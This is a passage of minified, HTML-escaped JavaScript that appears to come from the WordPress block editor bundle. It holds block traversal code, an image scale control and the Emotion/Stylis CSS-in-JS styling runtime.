_N(e,t,n){if(null==e||!1===e)return;if(Array.isArray(e))return yN(e,t,n);switch(typeof e){case&quot;string&quot;:case&quot;number&quot;:return}const{type:o,props:r}=e;switch(o){case h.StrictMode:case h.Fragment:return yN(r.children,t,n);case h.RawHTML:return;case JS.Content:return xN(t,n);case NR:return void t.push(r.value)}switch(typeof o){case&quot;string&quot;:return void 0!==r.children?yN(r.children,t,n):void 0;case&quot;function&quot;:return _N(o.prototype&amp;&amp;&quot;function&quot;==typeof o.prototype.render?new o(r).render():o(r),t,n)}}function yN(e,...t){e=Array.isArray(e)?e:[e];for(let n=0;n&lt;e.length;n++)_N(e[n],...t)}function xN(e,t){for(let n=0;n&lt;t.length;n++){const{name:o,attributes:r,innerBlocks:i}=t[n];_N((0,p.getSaveElement)(o,r,(0,d.jsx)(JS.Content,{})),e,i)}}const SN=[{value:&quot;fill&quot;,label:(0,T._x)(&quot;Fill&quot;,&quot;Scale option for dimensions control&quot;),help:(0,T.__)(&quot;Fill the space by stretching the content.&quot;)},{value:&quot;contain&quot;,label:(0,T._x)(&quot;Contain&quot;,&quot;Scale option for dimensions control&quot;),help:(0,T.__)(&quot;Fit the content to the space without clipping.&quot;)},{value:&quot;cover&quot;,label:(0,T._x)(&quot;Cover&quot;,&quot;Scale option for dimensions control&quot;),help:(0,T.__)(&quot;Fill the space by clipping what doesn&#039;t fit.&quot;)},{value:&quot;none&quot;,label:(0,T._x)(&quot;None&quot;,&quot;Scale option for dimensions control&quot;),help:(0,T.__)(&quot;Do not adjust the sizing of the content. Content that is too large will be clipped, and content that is too small will have additional padding.&quot;)},{value:&quot;scale-down&quot;,label:(0,T._x)(&quot;Scale down&quot;,&quot;Scale option for dimensions control&quot;),help:(0,T.__)(&quot;Scale down the content to fit the space if it is too big. Content that is too small will have additional padding.&quot;)}];function wN({panelId:e,value:t,onChange:n,options:o=SN,defaultValue:r=SN[0].value,isShownByDefault:i=!0}){const s=t??&quot;fill&quot;,l=(0,h.useMemo)((()=&gt;o.reduce(((e,t)=&gt;(e[t.value]=t.help,e)),{})),[o]);return(0,d.jsx)(Ss.__experimentalToolsPanelItem,{label:(0,T.__)(&quot;Scale&quot;),isShownByDefault:i,hasValue:()=&gt;s!==r,onDeselect:()=&gt;n(r),panelId:e,children:(0,d.jsx)(Ss.__experimentalToggleGroupControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Scale&quot;),isBlock:!0,help:l[s],value:s,onChange:n,size:&quot;__unstable-large&quot;,children:o.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{...e},e.value)))})})}function CN(){return CN=Object.assign?Object.assign.bind():function(e){for(var t=1;t&lt;arguments.length;t++){var n=arguments[t];for(var o in n)({}).hasOwnProperty.call(n,o)&amp;&amp;(e[o]=n[o])}return e},CN.apply(null,arguments)}function BN(e){var t=Object.create(null);return function(n){return void 0===t[n]&amp;&amp;(t[n]=e(n)),t[n]}}var IN=/^((children|dangerouslySetInnerHTML|key|ref|autoFocus|defaultValue|defaultChecked|innerHTML|suppressContentEditableWarning|suppressHydrationWarning|valueLink|abbr|accept|acceptCharset|accessKey|action|allow|allowUserMedia|allowPaymentRequest|allowFullScreen|allowTransparency|alt|async|autoComplete|autoPlay|capture|cellPadding|cellSpacing|challenge|charSet|checked|cite|classID|className|cols|colSpan|content|contentEditable|contextMenu|controls|controlsList|coords|crossOrigin|data|dateTime|decoding|default|defer|dir|disabled|disablePictureInPicture|download|draggable|encType|enterKeyHint|form|formAction|formEncType|formMethod|formNoValidate|formTarget|frameBorder|headers|height|hidden|high|href|hrefLang|htmlFor|httpEquiv|id|inputMode|integrity|is|keyParams|keyType|kind|label|lang|list|loading|loop|low|marginHeight|marginWidth|max|maxLength|media|mediaGroup|method|min|minLength|multiple|muted|name|nonce|noValidate|open|optimum|pattern|placeholder|playsInline|poster|preload|profile|radioGroup|readOnly|referrerPolicy|rel|required|reversed|role|rows|rowSpan|sandbox|scope|scoped|scrolling|seamless|selected|shape|size|sizes|slot|span|spellCheck|src|srcDoc|srcLang|srcSet|start|step|style|summary|tabIndex|target|title|translate|type|useMap|value|width|wmode|wrap|about|datatype|inlist|prefix|property|resource|typeof|vocab|autoCapitalize|autoCorrect|autoSave|color|incremental|fallback|inert|itemProp|itemScope|itemType|itemID|itemRef|on|option|results|security|unselectable|accentHeight|accumulate|additive|alignmentBaseline|allowReorder|alphabetic|amplitude|arabicForm|ascent|attributeName|attributeType|autoReverse|azimuth|baseFrequency|baselineShift|baseProfile|bbox|begin|bias|by|calcMode|capHeight|clip|clipPathUnits|clipPath|clipRule|colorInterpolation|colorInterpolationFilters|colorProfile|colorRendering|contentScriptType|contentStyleType|cursor|cx|cy|d|decelerate|descent|diffuseConstant|direction|display|divisor|dominantBaseline|dur|dx|dy|edgeMode|elevation|enableBackground|end|exponent|externalResourcesRequired|fill|fillOpacity|fillRule|filter|filterRes|filterUnits|floodColor|floodOpacity|focusable|fontFamily|fontSize|fontSizeAdjust|fontStretch|fontStyle|fontVariant|fontWeight|format|from|fr|fx|fy|g1|g2|glyphName|glyphOrientationHorizontal|glyphOrientationVertical|glyphRef|gradientTransform|gradientUnits|hanging|horizAdvX|horizOriginX|ideographic|imageRendering|in|in2|intercept|k|k1|k2|k3|k4|kernelMatrix|kernelUnitLength|kerning|keyPoints|keySplines|keyTimes|lengthAdjust|letterSpacing|lightingColor|limitingConeAngle|local|markerEnd|markerMid|markerStart|markerHeight|markerUnits|markerWidth|mask|maskContentUnits|maskUnits|mathematical|mode|numOctaves|offset|opacity|operator|order|orient|orientation|origin|overflow|overlinePosition|overlineThickness|panose1|paintOrder|pathLength|patternContentUnits|patternTransform|patternUnits|pointerEvents|points|pointsAtX|pointsAtY|pointsAtZ|preserveAlpha|preserveAspectRatio|primitiveUnits|r|radius|refX|refY|renderingIntent|repeatCount|repeatDur|requiredExtensions|requiredFeatures|restart|result|rotate|rx|ry|scale|seed|shapeRendering|slope|spacing|specularConstant|specularExponent|speed|spreadMethod|startOffset|stdDeviation|stemh|stemv|stitchTiles|stopColor|stopOpacity|strikethroughPosition|strikethroughThickness|string|stroke|strokeDasharray|strokeDashoffset|strokeLinecap|strokeLinejoin|strokeMiterlimit|strokeOpacity|strokeWidth|surfaceScale|systemLanguage|tableValues|targetX|targetY|textAnchor|textDecoration|textRendering|textLength|to|transform|u1|u2|underlinePosition|underlineThickness|unicode|unicodeBidi|unicodeRange|unitsPerEm|vAlphabetic|vHanging|vIdeographic|vMathematical|values|vectorEffect|version|vertAdvY|vertOriginX|vertOriginY|viewBox|viewTarget|visibility|widths|wordSpacing|writingMode|x|xHeight|x1|x2|xChannelSelector|xlinkActuate|xlinkArcrole|xlinkHref|xlinkRole|xlinkShow|xlinkTitle|xlinkType|xmlBase|xmlns|xmlnsXlink|xmlLang|xmlSpace|y|y1|y2|yChannelSelector|z|zoomAndPan|for|class|autofocus)|(([Dd][Aa][Tt][Aa]|[Aa][Rr][Ii][Aa]|x)-.*))$/,jN=BN((function(e){return IN.test(e)||111===e.charCodeAt(0)&amp;&amp;110===e.charCodeAt(1)&amp;&amp;e.charCodeAt(2)&lt;91}));var EN=function(){function e(e){var t=this;this._insertTag=function(e){var n;n=0===t.tags.length?t.insertionPoint?t.insertionPoint.nextSibling:t.prepend?t.container.firstChild:t.before:t.tags[t.tags.length-1].nextSibling,t.container.insertBefore(e,n),t.tags.push(e)},this.isSpeedy=void 0===e.speedy||e.speedy,this.tags=[],this.ctr=0,this.nonce=e.nonce,this.key=e.key,this.container=e.container,this.prepend=e.prepend,this.insertionPoint=e.insertionPoint,this.before=null}var t=e.prototype;return t.hydrate=function(e){e.forEach(this._insertTag)},t.insert=function(e){this.ctr%(this.isSpeedy?65e3:1)==0&amp;&amp;this._insertTag(function(e){var t=document.createElement(&quot;style&quot;);return t.setAttribute(&quot;data-emotion&quot;,e.key),void 0!==e.nonce&amp;&amp;t.setAttribute(&quot;nonce&quot;,e.nonce),t.appendChild(document.createTextNode(&quot;&quot;)),t.setAttribute(&quot;data-s&quot;,&quot;&quot;),t}(this));var t=this.tags[this.tags.length-1];if(this.isSpeedy){var n=function(e){if(e.sheet)return e.sheet;for(var t=0;t&lt;document.styleSheets.length;t++)if(document.styleSheets[t].ownerNode===e)return document.styleSheets[t]}(t);try{n.insertRule(e,n.cssRules.length)}catch(e){0}}else t.appendChild(document.createTextNode(e));this.ctr++},t.flush=function(){this.tags.forEach((function(e){return e.parentNode&amp;&amp;e.parentNode.removeChild(e)})),this.tags=[],this.ctr=0},e}(),TN=Math.abs,MN=String.fromCharCode,PN=Object.assign;function RN(e){return e.trim()}function AN(e,t,n){return e.replace(t,n)}function NN(e,t){return e.indexOf(t)}function LN(e,t){return 0|e.charCodeAt(t)}function DN(e,t,n){return e.slice(t,n)}function ON(e){return e.length}function zN(e){return e.length}function VN(e,t){return t.push(e),e}var FN=1,HN=1,UN=0,GN=0,$N=0,WN=&quot;&quot;;function KN(e,t,n,o,r,i,s){return{value:e,root:t,parent:n,type:o,props:r,children:i,line:FN,column:HN,length:s,return:&quot;&quot;}}function ZN(e,t){return PN(KN(&quot;&quot;,null,null,&quot;&quot;,null,null,0),e,{length:-e.length},t)}function qN(){return $N=GN&gt;0?LN(WN,--GN):0,HN--,10===$N&amp;&amp;(HN=1,FN--),$N}function YN(){return $N=GN&lt;UN?LN(WN,GN++):0,HN++,10===$N&amp;&amp;(HN=1,FN++),$N}function XN(){return LN(WN,GN)}function QN(){return GN}function JN(e,t){return DN(WN,e,t)}function eL(e){switch(e){case 0:case 9:case 10:case 13:case 32:return 5;case 33:case 43:case 44:case 47:case 62:case 64:case 126:case 59:case 123:case 125:return 4;case 58:return 3;case 34:case 39:case 40:case 91:return 2;case 41:case 93:return 1}return 0}function tL(e){return FN=HN=1,UN=ON(WN=e),GN=0,[]}function nL(e){return WN=&quot;&quot;,e}function oL(e){return RN(JN(GN-1,sL(91===e?e+2:40===e?e+1:e)))}function rL(e){for(;($N=XN())&amp;&amp;$N&lt;33;)YN();return eL(e)&gt;2||eL($N)&gt;3?&quot;&quot;:&quot; &quot;}function iL(e,t){for(;--t&amp;&amp;YN()&amp;&amp;!($N&lt;48||$N&gt;102||$N&gt;57&amp;&amp;$N&lt;65||$N&gt;70&amp;&amp;$N&lt;97););return JN(e,QN()+(t&lt;6&amp;&amp;32==XN()&amp;&amp;32==YN()))}function sL(e){for(;YN();)switch($N){case e:return GN;case 34:case 39:34!==e&amp;&amp;39!==e&amp;&amp;sL($N);break;case 40:41===e&amp;&amp;sL(e);break;case 92:YN()}return GN}function lL(e,t){for(;YN()&amp;&amp;e+$N!==57&amp;&amp;(e+$N!==84||47!==XN()););return&quot;/*&quot;+JN(t,GN-1)+&quot;*&quot;+MN(47===e?e:YN())}function aL(e){for(;!eL(XN());)YN();return JN(e,GN)}var cL=&quot;-ms-&quot;,uL=&quot;-moz-&quot;,dL=&quot;-webkit-&quot;,pL=&quot;comm&quot;,hL=&quot;rule&quot;,gL=&quot;decl&quot;,mL=&quot;@keyframes&quot;;function fL(e,t){for(var n=&quot;&quot;,o=zN(e),r=0;r&lt;o;r++)n+=t(e[r],r,e,t)||&quot;&quot;;return n}function bL(e,t,n,o){switch(e.type){case&quot;@import&quot;:case gL:return e.return=e.return||e.value;case pL:return&quot;&quot;;case mL:return e.return=e.value+&quot;{&quot;+fL(e.children,o)+&quot;}&quot;;case hL:e.value=e.props.join(&quot;,&quot;)}return ON(n=fL(e.children,o))?e.return=e.value+&quot;{&quot;+n+&quot;}&quot;:&quot;&quot;}function kL(e){return nL(vL(&quot;&quot;,null,null,null,[&quot;&quot;],e=tL(e),0,[0],e))}function vL(e,t,n,o,r,i,s,l,a){for(var c=0,u=0,d=s,p=0,h=0,g=0,m=1,f=1,b=1,k=0,v=&quot;&quot;,_=r,y=i,x=o,S=v;f;)switch(g=k,k=YN()){case 40:if(108!=g&amp;&amp;58==LN(S,d-1)){-1!=NN(S+=AN(oL(k),&quot;&amp;&quot;,&quot;&amp;\f&quot;),&quot;&amp;\f&quot;)&amp;&amp;(b=-1);break}case 34:case 39:case 91:S+=oL(k);break;case 9:case 10:case 13:case 32:S+=rL(g);break;case 92:S+=iL(QN()-1,7);continue;case 47:switch(XN()){case 42:case 47:VN(yL(lL(YN(),QN()),t,n),a);break;default:S+=&quot;/&quot;}break;case 123*m:l[c++]=ON(S)*b;case 125*m:case 59:case 0:switch(k){case 0:case 125:f=0;case 59+u:h&gt;0&amp;&amp;ON(S)-d&amp;&amp;VN(h&gt;32?xL(S+&quot;;&quot;,o,n,d-1):xL(AN(S,&quot; &quot;,&quot;&quot;)+&quot;;&quot;,o,n,d-2),a);break;case 59:S+=&quot;;&quot;;default:if(VN(x=_L(S,t,n,c,u,r,l,v,_=[],y=[],d),i),123===k)if(0===u)vL(S,t,x,x,_,i,d,l,y);else switch(99===p&amp;&amp;110===LN(S,3)?100:p){case 100:case 109:case 115:vL(e,x,x,o&amp;&amp;VN(_L(e,x,x,0,0,r,l,v,r,_=[],d),y),r,y,d,l,o?_:y);break;default:vL(S,x,x,x,[&quot;&quot;],y,0,l,y)}}c=u=h=0,m=b=1,v=S=&quot;&quot;,d=s;break;case 58:d=1+ON(S),h=g;default:if(m&lt;1)if(123==k)--m;else if(125==k&amp;&amp;0==m++&amp;&amp;125==qN())continue;switch(S+=MN(k),k*m){case 38:b=u&gt;0?1:(S+=&quot;\f&quot;,-1);break;case 44:l[c++]=(ON(S)-1)*b,b=1;break;case 64:45===XN()&amp;&amp;(S+=oL(YN())),p=XN(),u=d=ON(v=S+=aL(QN())),k++;break;case 45:45===g&amp;&amp;2==ON(S)&amp;&amp;(m=0)}}return i}function _L(e,t,n,o,r,i,s,l,a,c,u){for(var d=r-1,p=0===r?i:[&quot;&quot;],h=zN(p),g=0,m=0,f=0;g&lt;o;++g)for(var b=0,k=DN(e,d+1,d=TN(m=s[g])),v=e;b&lt;h;++b)(v=RN(m&gt;0?p[b]+&quot; &quot;+k:AN(k,/&amp;\f/g,p[b])))&amp;&amp;(a[f++]=v);return KN(e,t,n,0===r?hL:l,a,c,u)}function yL(e,t,n){return KN(e,t,n,pL,MN($N),DN(e,2,-2),0)}function xL(e,t,n,o){return KN(e,t,n,gL,DN(e,0,o),DN(e,o+1,-1),o)}var SL=function(e,t,n){for(var o=0,r=0;o=r,r=XN(),38===o&amp;&amp;12===r&amp;&amp;(t[n]=1),!eL(r);)YN();return JN(e,GN)},wL=function(e,t){return nL(function(e,t){var n=-1,o=44;do{switch(eL(o)){case 0:38===o&amp;&amp;12===XN()&amp;&amp;(t[n]=1),e[n]+=SL(GN-1,t,n);break;case 2:e[n]+=oL(o);break;case 4:if(44===o){e[++n]=58===XN()?&quot;&amp;\f&quot;:&quot;&quot;,t[n]=e[n].length;break}default:e[n]+=MN(o)}}while(o=YN());return e}(tL(e),t))},CL=new WeakMap,BL=function(e){if(&quot;rule&quot;===e.type&amp;&amp;e.parent&amp;&amp;!(e.length&lt;1)){for(var t=e.value,n=e.parent,o=e.column===n.column&amp;&amp;e.line===n.line;&quot;rule&quot;!==n.type;)if(!(n=n.parent))return;if((1!==e.props.length||58===t.charCodeAt(0)||CL.get(n))&amp;&amp;!o){CL.set(e,!0);for(var r=[],i=wL(t,r),s=n.props,l=0,a=0;l&lt;i.length;l++)for(var c=0;c&lt;s.length;c++,a++)e.props[a]=r[l]?i[l].replace(/&amp;\f/g,s[c]):s[c]+&quot; &quot;+i[l]}}},IL=function(e){if(&quot;decl&quot;===e.type){var t=e.value;108===t.charCodeAt(0)&amp;&amp;98===t.charCodeAt(2)&amp;&amp;(e.return=&quot;&quot;,e.value=&quot;&quot;)}};function jL(e,t){switch(function(e,t){return 45^LN(e,0)?(((t&lt;&lt;2^LN(e,0))&lt;&lt;2^LN(e,1))&lt;&lt;2^LN(e,2))&lt;&lt;2^LN(e,3):0}(e,t)){case 5103:return dL+&quot;print-&quot;+e+e;case 5737:case 4201:case 3177:case 3433:case 1641:case 4457:case 2921:case 5572:case 6356:case 5844:case 3191:case 6645:case 3005:case 6391:case 5879:case 5623:case 6135:case 4599:case 4855:case 4215:case 6389:case 5109:case 5365:case 5621:case 3829:return dL+e+e;case 5349:case 4246:case 4810:case 6968:case 2756:return dL+e+uL+e+cL+e+e;case 6828:case 4268:return dL+e+cL+e+e;case 6165:return dL+e+cL+&quot;flex-&quot;+e+e;case 5187:return dL+e+AN(e,/(\w+).+(:[^]+)/,dL+&quot;box-$1$2&quot;+cL+&quot;flex-$1$2&quot;)+e;case 5443:return dL+e+cL+&quot;flex-item-&quot;+AN(e,/flex-|-self/,&quot;&quot;)+e;case 4675:return dL+e+cL+&quot;flex-line-pack&quot;+AN(e,/align-content|flex-|-self/,&quot;&quot;)+e;case 5548:return dL+e+cL+AN(e,&quot;shrink&quot;,&quot;negative&quot;)+e;case 5292:return dL+e+cL+AN(e,&quot;basis&quot;,&quot;preferred-size&quot;)+e;case 6060:return dL+&quot;box-&quot;+AN(e,&quot;-grow&quot;,&quot;&quot;)+dL+e+cL+AN(e,&quot;grow&quot;,&quot;positive&quot;)+e;case 4554:return dL+AN(e,/([^-])(transform)/g,&quot;$1&quot;+dL+&quot;$2&quot;)+e;case 6187:return AN(AN(AN(e,/(zoom-|grab)/,dL+&quot;$1&quot;),/(image-set)/,dL+&quot;$1&quot;),e,&quot;&quot;)+e;case 5495:case 3959:return AN(e,/(image-set\([^]*)/,dL+&quot;$1$`$1&quot;);case 4968:return AN(AN(e,/(.+:)(flex-)?(.*)/,dL+&quot;box-pack:$3&quot;+cL+&quot;flex-pack:$3&quot;),/s.+-b[^;]+/,&quot;justify&quot;)+dL+e+e;case 4095:case 3583:case 4068:case 2532:return AN(e,/(.+)-inline(.+)/,dL+&quot;$1$2&quot;)+e;case 8116:case 7059:case 5753:case 5535:case 5445:case 5701:case 4933:case 4677:case 5533:case 5789:case 5021:case 4765:if(ON(e)-1-t&gt;6)switch(LN(e,t+1)){case 109:if(45!==LN(e,t+4))break;case 102:return AN(e,/(.+:)(.+)-([^]+)/,&quot;$1&quot;+dL+&quot;$2-$3$1&quot;+uL+(108==LN(e,t+3)?&quot;$3&quot;:&quot;$2-$3&quot;))+e;case 115:return~NN(e,&quot;stretch&quot;)?jL(AN(e,&quot;stretch&quot;,&quot;fill-available&quot;),t)+e:e}break;case 4949:if(115!==LN(e,t+1))break;case 6444:switch(LN(e,ON(e)-3-(~NN(e,&quot;!important&quot;)&amp;&amp;10))){case 107:return AN(e,&quot;:&quot;,&quot;:&quot;+dL)+e;case 101:return AN(e,/(.+:)([^;!]+)(;|!.+)?/,&quot;$1&quot;+dL+(45===LN(e,14)?&quot;inline-&quot;:&quot;&quot;)+&quot;box$3$1&quot;+dL+&quot;$2$3$1&quot;+cL+&quot;$2box$3&quot;)+e}break;case 5936:switch(LN(e,t+11)){case 114:return dL+e+cL+AN(e,/[svh]\w+-[tblr]{2}/,&quot;tb&quot;)+e;case 108:return dL+e+cL+AN(e,/[svh]\w+-[tblr]{2}/,&quot;tb-rl&quot;)+e;case 45:return dL+e+cL+AN(e,/[svh]\w+-[tblr]{2}/,&quot;lr&quot;)+e}return dL+e+cL+e+e}return e}var EL=[function(e,t,n,o){if(e.length&gt;-1&amp;&amp;!e.return)switch(e.type){case gL:e.return=jL(e.value,e.length);break;case mL:return fL([ZN(e,{value:AN(e.value,&quot;@&quot;,&quot;@&quot;+dL)})],o);case hL:if(e.length)return function(e,t){return e.map(t).join(&quot;&quot;)}(e.props,(function(t){switch(function(e,t){return(e=t.exec(e))?e[0]:e}(t,/(::plac\w+|:read-\w+)/)){case&quot;:read-only&quot;:case&quot;:read-write&quot;:return fL([ZN(e,{props:[AN(t,/:(read-\w+)/,&quot;:-moz-$1&quot;)]})],o);case&quot;::placeholder&quot;:return fL([ZN(e,{props:[AN(t,/:(plac\w+)/,&quot;:&quot;+dL+&quot;input-$1&quot;)]}),ZN(e,{props:[AN(t,/:(plac\w+)/,&quot;:-moz-$1&quot;)]}),ZN(e,{props:[AN(t,/:(plac\w+)/,cL+&quot;input-$1&quot;)]})],o)}return&quot;&quot;}))}}];const TL=function(e){var t=e.key;if(&quot;css&quot;===t){var n=document.querySelectorAll(&quot;style[data-emotion]:not([data-s])&quot;);Array.prototype.forEach.call(n,(function(e){-1!==e.getAttribute(&quot;data-emotion&quot;).indexOf(&quot; &quot;)&amp;&amp;(document.head.appendChild(e),e.setAttribute(&quot;data-s&quot;,&quot;&quot;))}))}var o=e.stylisPlugins||EL;var r,i,s={},l=[];r=e.container||document.head,Array.prototype.forEach.call(document.querySelectorAll(&#039;style[data-emotion^=&quot;&#039;+t+&#039; &quot;]&#039;),(function(e){for(var t=e.getAttribute(&quot;data-emotion&quot;).split(&quot; &quot;),n=1;n&lt;t.length;n++)s[t[n]]=!0;l.push(e)}));var a,c,u,d,p=[bL,(d=function(e){a.insert(e)},function(e){e.root||(e=e.return)&amp;&amp;d(e)})],h=(c=[BL,IL].concat(o,p),u=zN(c),function(e,t,n,o){for(var r=&quot;&quot;,i=0;i&lt;u;i++)r+=c[i](e,t,n,o)||&quot;&quot;;return r});i=function(e,t,n,o){a=n,fL(kL(e?e+&quot;{&quot;+t.styles+&quot;}&quot;:t.styles),h),o&amp;&amp;(g.inserted[t.name]=!0)};var g={key:t,sheet:new EN({key:t,container:r,nonce:e.nonce,speedy:e.speedy,prepend:e.prepend,insertionPoint:e.insertionPoint}),nonce:e.nonce,inserted:s,registered:{},insert:i};return g.sheet.hydrate(l),g};const ML=function(e){for(var t,n=0,o=0,r=e.length;r&gt;=4;++o,r-=4)t=1540483477*(65535&amp;(t=255&amp;e.charCodeAt(o)|(255&amp;e.charCodeAt(++o))&lt;&lt;8|(255&amp;e.charCodeAt(++o))&lt;&lt;16|(255&amp;e.charCodeAt(++o))&lt;&lt;24))+(59797*(t&gt;&gt;&gt;16)&lt;&lt;16),n=1540483477*(65535&amp;(t^=t&gt;&gt;&gt;24))+(59797*(t&gt;&gt;&gt;16)&lt;&lt;16)^1540483477*(65535&amp;n)+(59797*(n&gt;&gt;&gt;16)&lt;&lt;16);switch(r){case 3:n^=(255&amp;e.charCodeAt(o+2))&lt;&lt;16;case 2:n^=(255&amp;e.charCodeAt(o+1))&lt;&lt;8;case 1:n=1540483477*(65535&amp;(n^=255&amp;e.charCodeAt(o)))+(59797*(n&gt;&gt;&gt;16)&lt;&lt;16)}return(((n=1540483477*(65535&amp;(n^=n&gt;&gt;&gt;13))+(59797*(n&gt;&gt;&gt;16)&lt;&lt;16))^n&gt;&gt;&gt;15)&gt;&gt;&gt;0).toString(36)};const PL={animationIterationCount:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};var RL=/[A-Z]|^ms/g,AL=/_EMO_([^_]+?)_([^]*?)_EMO_/g,NL=function(e){return 45===e.charCodeAt(1)},LL=function(e){return null!=e&amp;&amp;&quot;boolean&quot;!=typeof e},DL=BN((function(e){return NL(e)?e:e.replace(RL,&quot;-$&amp;&quot;).toLowerCase()})),OL=function(e,t){switch(e){case&quot;animation&quot;:case&quot;animationName&quot;:if(&quot;string&quot;==typeof t)return t.replace(AL,(function(e,t,n){return VL={name:t,styles:n,next:VL},t}))}return 1===PL[e]||NL(e)||&quot;number&quot;!=typeof t||0===t?t:t+&quot;px&quot;};function zL(e,t,n){if(null==n)return&quot;&quot;;if(void 0!==n.__emotion_styles)return n;switch(typeof n){case&quot;boolean&quot;:return&quot;&quot;;case&quot;object&quot;:if(1===n.anim)return VL={name:n.name,styles:n.styles,next:VL},n.name;if(void 0!==n.styles){var o=n.next;if(void 0!==o)for(;void 0!==o;)VL={name:o.name,styles:o.styles,next:VL},o=o.next;return n.styles+&quot;;&quot;}return function(e,t,n){var o=&quot;&quot;;if(Array.isArray(n))for(var r=0;r&lt;n.length;r++)o+=zL(e,t,n[r])+&quot;;&quot;;else for(var i in n){var s=n[i];if(&quot;object&quot;!=typeof s)null!=t&amp;&amp;void 0!==t[s]?o+=i+&quot;{&quot;+t[s]+&quot;}&quot;:LL(s)&amp;&amp;(o+=DL(i)+&quot;:&quot;+OL(i,s)+&quot;;&quot;);else if(!Array.isArray(s)||&quot;string&quot;!=typeof s[0]||null!=t&amp;&amp;void 0!==t[s[0]]){var l=zL(e,t,s);switch(i){case&quot;animation&quot;:case&quot;animationName&quot;:o+=DL(i)+&quot;:&quot;+l+&quot;;&quot;;break;default:o+=i+&quot;{&quot;+l+&quot;}&quot;}}else for(var a=0;a&lt;s.length;a++)LL(s[a])&amp;&amp;(o+=DL(i)+&quot;:&quot;+OL(i,s[a])+&quot;;&quot;)}return o}(e,t,n);case&quot;function&quot;:if(void 0!==e){var r=VL,i=n(e);return VL=r,zL(e,t,i)}}if(null==t)return n;var s=t[n];return void 0!==s?s:n}var VL,FL=/label:\s*([^\s;\n{]+)\s*(;|$)/g;var HL=!!rc.useInsertionEffect&amp;&amp;rc.useInsertionEffect,UL=HL||function(e){return e()},GL=(0,rc.createContext)(&quot;undefined&quot;!=typeof HTMLElement?TL({key:&quot;css&quot;}):null);GL.Provider;var $L=function(e){return(0,rc.forwardRef)((function(t,n){var o=(0,rc.useContext)(GL);return e(t,o,n)}))},WL=(0,rc.createContext)({});var KL=function(e,t,n){var o=e.key+&quot;-&quot;+t.name;!1===n&amp;&amp;void 0===e.registered[o]&amp;&amp;(e.registered[o]=t.styles)},ZL=jN,qL=function(e){return&quot;theme&quot;!==e},YL=function(e){return&quot;string&quot;==typeof e&amp;&amp;e.charCodeAt(0)&gt;96?ZL:qL},XL=function(e,t,n){var o;if(t){var r=t.shouldForwardProp;o=e.__emotion_forwardProp&amp;&amp;r?function(t){return e.__emotion_forwardProp(t)&amp;&amp;r(t)}:r}return&quot;function&quot;!=typeof o&amp;&amp;n&amp;&amp;(o=e.__emotion_forwardProp),o},QL=function(e){var t=e.cache,n=e.serialized,o=e.isStringTag;KL(t,n,o);UL((function(){return function(e,t,n){KL(e,t,n);var o=e.key+&quot;-&quot;+t.name;if(void 0===e.inserted[t.name]){var r=t;do{e.insert(t===r?&quot;.&quot;+o:&quot;&quot;,r,e.sheet,!0),r=r.next}while(void 0!==r)}}(t,n,o)}));return null};const JL=function e(t,n){var o,r,i=t.__emotion_real===t,s=i&amp;&amp;t.__emotion_base||t;void 0!==n&amp;&amp;(o=n.label,r=n.target);var l=XL(t,n,i),a=l||YL(s),c=!a(&quot;as&quot;);return function(){var u=arguments,d=i&amp;&amp;void 0!==t.__emotion_styles?t.__emotion_styles.slice(0):[];if(void 0!==o&amp;&amp;d.push(&quot;label:&quot;+o+&quot;;&quot;),null==u[0]||void 0===u[0].raw)d.push.apply(d,u);else{0,d.push(u[0][0]);for(var p=u.length,h=1;h&lt;p;h++)d.push(u[h],u[0][h])}var g=$L((function(e,t,n){var o=c&amp;&amp;e.as||s,i=&quot;&quot;,u=[],p=e;if(null==e.theme){for(var h in p={},e)p[h]=e[h];p.theme=(0,rc.useContext)(WL)}&quot;string&quot;==typeof e.className?i=function(e,t,n){var o=&quot;&quot;;return n.split(&quot; &quot;).forEach((function(n){void 0!==e[n]?t.push(e[n]+&quot;;&quot;):o+=n+&quot; &quot;})),o}(t.registered,u,e.className):null!=e.className&amp;&amp;(i=e.className+&quot; &quot;);var g=function(e,t,n){if(1===e.length&amp;&amp;&quot;object&quot;==typeof e[0]&amp;&amp;null!==e[0]&amp;&amp;void 0!==e[0].styles)return e[0];var o=!0,r=&quot;&quot;;VL=void 0;var i=e[0];null==i||void 0===i.raw?(o=!1,r+=zL(n,t,i)):r+=i[0];for(var s=1;s&lt;e.length;s++)r+=zL(n,t,e[s]),o&amp;&amp;(r+=i[s]);FL.lastIndex=0;for(var l,a=&quot;&quot;;null!==(l=FL.exec(r));)a+=&quot;-&quot;+l[1];return{name:ML(r)+a,styles:r,next:VL}}(d.concat(u),t.registered,p);i+=t.key+&quot;-&quot;+g.name,void 0!==r&amp;&amp;(i+=&quot; &quot;+r);var m=c&amp;&amp;void 0===l?YL(o):a,f={};for(var b in e)c&amp;&amp;&quot;as&quot;===b||m(b)&amp;&amp;(f[b]=e[b]);return f.className=i,f.ref=n,(0,rc.createElement)(rc.Fragment,null,(0,rc.createElement)(QL,{cache:t,serialized:g,isStringTag:&quot;string&quot;==typeof o}),(0,rc.createElement)(o,f))}));return g.displayName=void 0!==o?o:&quot;Styled(&quot;+(&quot;string&quot;==typeof s?s:s.displayName||s.name||&quot;Component&quot;)+&quot;)&quot;,g.defaultProps=t.defaultProps,g.__emotion_real=g,g.__emotion_base=s,g.__emotion_styles=d,g.__emotion_forwardProp=l,Object.defineProperty(g,&quot;toString&quot;,{value:function(){return&quot;.&quot;+r}}),g.withComponent=function(t,o){return e(t,CN({},n,o,{shouldForwardProp:XL(g,o,!0)})).apply(void 0,d)},g}};var 